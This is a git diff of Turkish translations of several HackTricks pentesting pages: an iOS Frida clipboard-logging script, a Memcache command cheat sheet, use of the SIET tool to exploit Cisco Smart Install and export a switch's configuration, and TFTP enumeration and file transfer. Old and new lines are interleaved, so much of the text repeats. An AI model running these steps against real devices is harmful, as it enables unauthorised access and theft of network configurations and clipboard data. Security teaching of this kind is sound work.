İşte, obje'nin yaklaşımından esinlenerek her 5 saniyede bir panodan değişiklikleri okuyan ve kaydeden basit bir JavaScript betiği örneği:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
@ -75,16 +80,21 @@ console.log(items);
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,37 +1,39 @@
# Memcache Commands
## Memcache Komutları
# Memcache Komutları
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details>
### Komutlar Hile Kağıdı
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Komutlar Hızlı Referansı
**Kaynak** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
Desteklenen komutlar (resmi olanlar ve bazı resmi olmayanlar), [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) belgesinde belgelenmiştir.
Desteklenen komutlar (resmi olanlar ve bazı resmi olmayanlar) [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) belgesinde belgelenmiştir.
Ne yazık ki, sözdizimi açıklaması gerçekten net değil ve mevcut komutları listeleyen basit bir yardım komutu çok daha iyi olurdu. İşte [kaynakta](https://github.com/memcached/memcached) bulabileceğiniz komutların bir genel bakışı (19.08.2016 tarihine kadar):
Ne yazık ki, sözdizimi açıklaması gerçekten net değil ve mevcut komutları listeleyen basit bir yardım komutu çok daha iyi olurdu. İşte [kaynakta](https://github.com/memcached/memcached) bulabileceğiniz komutların genel bir bakışı (19.08.2016 itibariyle):
| Komut | Açıklama | Örnek |
| --------------------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | Bir değeri okur | `get mykey` |
| set | Bir anahtarın değerini koşulsuz olarak ayarlar | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI araçlarını kullanırken \r\n olarak satır sonu karakterlerini kullanmayı unutmayın. Örneğin&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n"</code></p> |
| set | Bir anahtarı koşulsuz olarak ayarlar | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI araçlarını kullanırken \r\n satır sonlarını kullanmayı unutmayın. Örneğin&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Yeni bir anahtar ekler | `add newkey 0 60 5` |
| replace | Mevcut bir anahtarın üzerine yazar | `replace key 0 60 5` |
| append | Mevcut bir anahtara veri ekler | `append key 0 60 15` |
| prepend | Mevcut bir anahtara veri başına ekler | `prepend key 0 60 15` |
| replace | Mevcut anahtarı üzerine yazar | `replace key 0 60 5` |
| append | Mevcut anahtara veri ekler | `append key 0 60 15` |
| prepend | Mevcut anahtara veri ekler | `prepend key 0 60 15` |
| incr | Sayısal anahtar değerini belirtilen sayıyla artırır | `incr mykey 2` |
| decr | Sayısal anahtar değerini belirtilen sayıyla azaltır | `decr mykey 5` |
| delete | Mevcut bir anahtarı siler | `delete mykey` |
@ -44,23 +46,20 @@ Ne yazık ki, sözdizimi açıklaması gerçekten net değil ve mevcut komutlar
| | | `stats detail` |
| | | `stats sizes` |
| | İstatistik sayaçlarını sıfırlar | `stats reset` |
| lru\_crawler metadump | Önbellekteki (tüm) öğelerin (çoğu) meta verilerini döker | `lru_crawler metadump all` |
| lru\_crawler metadump | Önbellekteki öğelerin (çoğunlukla) meta verilerini döker | `lru_crawler metadump all` |
| version | Sunucu sürümünü yazdırır | `version` |
| verbosity | Günlük seviyesini artırır | `verbosity` |
| quit | Oturumu sonlandırır | `quit` |
**Trafik İstatistikleri**
Mevcut trafik istatistiklerini sorgulayabilirsiniz.
#### Trafik İstatistikleri <a href="#traffic-statistics" id="traffic-statistics"></a>
Mevcut trafik istatistiklerini sorgulayabilirsiniz kullanarak
```
stats
```
Aşağıdaki örnek çıktıda, bağlantı sayısı, gelen/giden bayt miktarı ve daha fazlası yer almaktadır.
Aşağıdaki komut, bağlantı sayısını, gelen ve giden baytları ve daha fazlasını sunan bir listeleme almanızı sağlar.
Örnek Çıktı:
```
STAT pid 14868
STAT uptime 175931
@ -86,91 +85,11 @@ STAT limit_maxbytes 52428800
STAT threads 1
END
```
**Bellek İstatistikleri**
Mevcut bellek istatistiklerini sorgulayabilirsiniz.
#### Bellek İstatistikleri <a href="#bellek-istatistikleri" id="bellek-istatistikleri"></a>
```
stats slabs
```
## Memcache Commands
Memcache is an in-memory key-value store that is commonly used for caching data in web applications. It is a popular choice for improving performance and reducing database load.
### Basic Commands
#### SET
**Description:** Sets a key-value pair in the cache.
**Syntax:** `set <key> <flags> <exptime> <bytes> [noreply]`
**Example:** `set mykey 0 3600 5\r\nhello\r`
#### GET
**Description:** Retrieves the value associated with a key from the cache.
**Syntax:** `get <key>`
**Example:** `get mykey`
#### DELETE
**Description:** Deletes a key-value pair from the cache.
**Syntax:** `delete <key> [noreply]`
**Example:** `delete mykey`
### Advanced Commands
#### INCR
**Description:** Increments the value of a key by a specified amount.
**Syntax:** `incr <key> <value>`
**Example:** `incr mykey 10`
#### DECR
**Description:** Decrements the value of a key by a specified amount.
**Syntax:** `decr <key> <value>`
**Example:** `decr mykey 5`
#### APPEND
**Description:** Appends data to the value of a key.
**Syntax:** `append <key> <bytes> [noreply]`
**Example:** `append mykey 5\r\nworld\r`
#### PREPEND
**Description:** Prepends data to the value of a key.
**Syntax:** `prepend <key> <bytes> [noreply]`
**Example:** `prepend mykey 5\r\nhello\r`
#### CAS
**Description:** Compares and swaps the value of a key.
**Syntax:** `cas <key> <flags> <exptime> <bytes> <cas_unique> [noreply]`
**Example:** `cas mykey 0 3600 5 12345\r\nhello\r`
### Conclusion
These are some of the basic and advanced commands that can be used with Memcache. Understanding and utilizing these commands can greatly enhance your ability to work with Memcache and optimize the performance of your web applications.
Örnek Çıktı:
```
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
@ -191,29 +110,19 @@ STAT active_slabs 3
STAT total_malloced 3145436
END
```
Eğer memcached örneğiniz için yeterli belleğiniz olduğundan emin değilseniz, her zaman "stats" komutu tarafından verilen "evictions" sayaçlarına dikkat edin. Örneğiniz için yeterli belleğiniz varsa "evictions" sayacı 0 olmalı veya en azından artmamalıdır.
Eğer memcached örneğiniz için yeterli belleğe sahip olup olmadığınızdan emin değilseniz, "stats" komutu tarafından verilen "evictions" sayacına dikkat edin. Eğer örnek için yeterli belleğiniz varsa, "evictions" sayacı 0 veya en azından artmıyor olmalıdır.
**Hangi Anahtarlar Kullanılıyor?**
Mevcut anahtar kümesini doğrudan belirlemek için yerleşik bir işlev yoktur. Bununla birlikte, aşağıdaki komutları kullanarak anahtarları belirleyebilirsiniz:
#### Hangi Anahtarlar Kullanılıyor? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
Mevcut anahtar kümesini doğrudan belirlemek için yerleşik bir işlev yoktur. Bununla birlikte, kullanabilirsiniz
```
stats items
```
Komut, kaç anahtarın mevcut olduğunu belirlemek için kullanılır.
#### Command to Determine How Many Keys Exist
To determine the number of keys that exist in a Memcache server, you can use the `stats` command. This command provides statistics about the server, including the total number of keys stored.
```bash
$ echo "stats items" | nc <memcache_server_ip> <memcache_server_port>
```plaintext
stats items
```
Replace `<memcache_server_ip>` with the IP address of the Memcache server and `<memcache_server_port>` with the corresponding port number.
The output will include a line starting with `STAT items:`, followed by the total number of items/keys stored in the Memcache server.
```
stats items
STAT items:1:number 220
@ -223,19 +132,23 @@ STAT items:2:age 1405
[...]
END
```
Bu en azından kullanılan anahtarları görmeye yardımcı olur. Zaten memcache erişimini yapan bir PHP betiğinden anahtar adlarını dökmek için [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) adresindeki PHP kodunu kullanabilirsiniz.
Bu en azından hangi anahtarların kullanıldığını görmeye yardımcı olur. Memcache erişimini zaten yapan bir PHP betiğinden anahtar adlarını dökmek için [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) adresindeki PHP kodunu kullanabilirsiniz.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,20 +1,25 @@
# 4786 - Cisco Smart Install
# 4786 - Cisco Akıllı Kurulum
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Temel Bilgiler
**Cisco Smart Install**, yeni Cisco donanımı için işletim sistemi görüntüsünün başlangıç yapılandırmasını ve yüklenmesini otomatikleştirmek için tasarlanmış bir Cisco'dur. **Varsayılan olarak, Cisco Smart Install, Cisco donanımında etkindir ve taşıma katmanı protokolü olan TCP'yi, 4786 numaralı bağlantı noktasıyla kullanır.**
**Cisco Akıllı Kurulum**, yeni Cisco donanımı için başlangıç yapılandırmasını ve işletim sistemi görüntüsünün yüklenmesini otomatikleştirmek amacıyla tasarlanmış bir Cisco'dur. **Varsayılan olarak, Cisco Akıllı Kurulum, Cisco donanımında etkindir ve taşıma katmanı protokolü olan TCP'yi, 4786 numaralı bağlantı noktasıyla kullanır.**
**Varsayılan bağlantı noktası:** 4786
```
@ -31,9 +36,9 @@ PORT STATE SERVICE
* RCE çağrısı yapmasına
* ağ ekipmanlarının yapılandırmalarını çalmasına olanak tanır.
**[SIET](https://github.com/frostbits-security/SIET) (Akıllı Kurulum Sömürü Aracı)** **bu zafiyeti sömürmek için geliştirilmiştir, Cisco Smart Install'i kötüye kullanmanıza olanak tanır. Bu makalede size nasıl meşru bir ağ donanımı yapılandırma dosyasını okuyabileceğinizi göstereceğim. Yapılandırma dışa aktarımı, bir pentester için değerli olabilir çünkü ağın benzersiz özellikleri hakkında bilgi edinecektir. Ve bu, hayatı kolaylaştıracak ve saldırı için yeni vektörler bulmayı sağlayacaktır.**
**[SIET](https://github.com/frostbits-security/SIET) (Akıllı Kurulum Sömürü Aracı)** bu zafiyeti sömürmek için geliştirilmiştir, Cisco Smart Install'i kötüye kullanmanıza olanak tanır. Bu makalede size nasıl meşru bir ağ donanımı yapılandırma dosyasını okuyabileceğinizi göstereceğim. Yapılandırma dışa aktarımı, bir pentester için değerli olabilir çünkü ağın benzersiz özellikleri hakkında bilgi edinecektir. Ve bu, hayatı kolaylaştıracak ve saldırı için yeni vektörler bulmayı sağlayacaktır.
**Hedef cihaz, "canlı" Cisco Catalyst 2960 anahtarı olacaktır. Sanal görüntülerde Cisco Smart Install bulunmadığından, yalnızca gerçek donanımda uygulama yapabilirsiniz.**
**Hedef cihaz, "canlı" Cisco Catalyst 2960 anahtarı olacaktır. Sanal görüntülerde Cisco Smart Install bulunmadığından, yalnızca gerçek donanımda pratik yapabilirsiniz.**
Hedef anahtarın adresi **10.10.100.10 ve CSI etkindir.** SIET'i yükleyin ve saldırıyı başlatın. **-g argümanı** cihazdan yapılandırmanın dışa aktarımını, **-i argümanı** ise zafiyetli hedefin IP adresini ayarlamanıza olanak tanır.
```
@ -41,18 +46,23 @@ Hedef anahtarın adresi **10.10.100.10 ve CSI etkindir.** SIET'i yükleyin ve sa
```
<figure><img src="../.gitbook/assets/image (770).png" alt=""><figcaption></figcaption></figure>
Anahtar yapılandırması **10.10.100.10** adresindeki **tftp/** klasöründe olacak
Anahtar yapılandırma **10.10.100.10** adresindeki **tftp/** klasöründe olacak
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
</details>

View file

@ -1,38 +1,42 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **katkıda bulunun**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Temel Bilgiler
**Trivial File Transfer Protocol (TFTP)**, kimlik doğrulama gerektirmeyen dosya transferlerine izin veren **UDP port 69** üzerinde kullanılan basit bir protokoldür. **RFC 1350** tarafından vurgulanan basitliği, temel güvenlik özelliklerinin eksikliğine yol açarak, halka açık İnternet üzerinde sınırlı kullanıma sahiptir. Bununla birlikte, **TFTP**, büyük iç ağlarda **yapılandırma dosyalarını** ve **ROM görüntülerini** **VoIP telefonları** gibi cihazlara dağıtmak için yaygın olarak kullanılmaktadır, çünkü bu özel senaryolarda verimliliği yüksektir.
**Basit Dosya Transfer Protokolü (TFTP)**, kimlik doğrulaması gerektirmeyen dosya transferlerine izin veren **UDP port 69** üzerinde kullanılan basit bir protokoldür. **RFC 1350**'de vurgulanan, basitliği nedeniyle temel güvenlik özelliklerinden yoksun olup, bu durum genel İnternet'te sınırlı kullanımına neden olmaktadır. Bununla birlikte, **TFTP**, **VoIP telefonları** gibi cihazlara **konfigürasyon dosyaları** ve **ROM görüntüleri** dağıtmak için büyük iç ağlarda yaygın olarak kullanılmaktadır, çünkü bu belirli senaryolarda etkilidir.
**Yapılacaklar**: Bittorrent izleyicisi nedir hakkında bilgi sağlayın (Shodan bu bağlantı noktasını bu adla tanımlar). Bunu hakkında daha fazla bilgiye sahipseniz, örneğin [**HackTricks telegram grubunda**](https://t.me/peass) (veya [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) github sorununda) bize bildirin.
**YAPILACAKLAR**: Bir Bittorrent izleyicisinin ne olduğu hakkında bilgi sağlayın (Shodan bu bağlantı noktasını bu adla tanımlar). Bu konuda daha fazla bilgiye sahipseniz bize bildirin, örneğin [**HackTricks telegram grubunda**](https://t.me/peass) (veya [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) github sorununda).
**Varsayılan Bağlantı Noktası:** 69/UDP
```
PORT STATE SERVICE REASON
69/udp open tftp script-set
```
# Saptama
# Sıralama
TFTP, dizin listelemesi sağlamadığından dolayı `nmap`'in `tftp-enum` betiği, varsayılan yolları kaba kuvvet saldırısıyla deneyecektir.
TFTP, dizin listeleme sağlamaz, bu yüzden `nmap`'ten `tftp-enum` betiği varsayılan yolları kaba kuvvetle deneyecektir.
```bash
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
## İndirme/Yükleme
Dosya indirme/yükleme işlemlerini kontrol etmek için Metasploit veya Python kullanabilirsiniz:
Dosyaları indirip/yükleyebilirsiniz:
```bash
msf5> auxiliary/admin/tftp/tftp_transfer_util
```
@ -48,16 +52,21 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
* `port:69`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
